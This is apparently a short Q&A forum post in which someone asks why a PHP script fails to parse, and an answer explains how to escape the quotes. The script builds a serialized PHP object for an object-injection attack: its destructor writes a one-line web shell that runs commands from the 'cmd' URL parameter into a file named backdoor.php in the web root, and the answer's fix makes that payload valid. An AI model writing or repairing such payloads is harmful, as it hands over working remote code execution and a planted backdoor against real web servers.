Create a Serialized Object php

Question

I have changed things many times but nothing works. Can someone help me. thanks!

PHP Parse error: syntax error, unexpected '$_GET' (T_VARIABLE), expecting ',' or ';'

<?php
class Monitor
{
  public $filename = "/var/www/html/backdoor.php";
  public $content = "<?php system("$_GET['cmd']"); ?>";
  public function __destruct()
  {
    file_put_contents($this->filename,$this->content);
  }
  public function __toString()
  {
    return "Return the message ".$this->filename." ".$this->content."<br>"; 
  }
}
$exploit = new Monitor();
echo serialize($exploit);
?>

Answer 1

You need to escape your quotes:

public $content = "<?php system(\"$_GET['cmd']\"); ?>";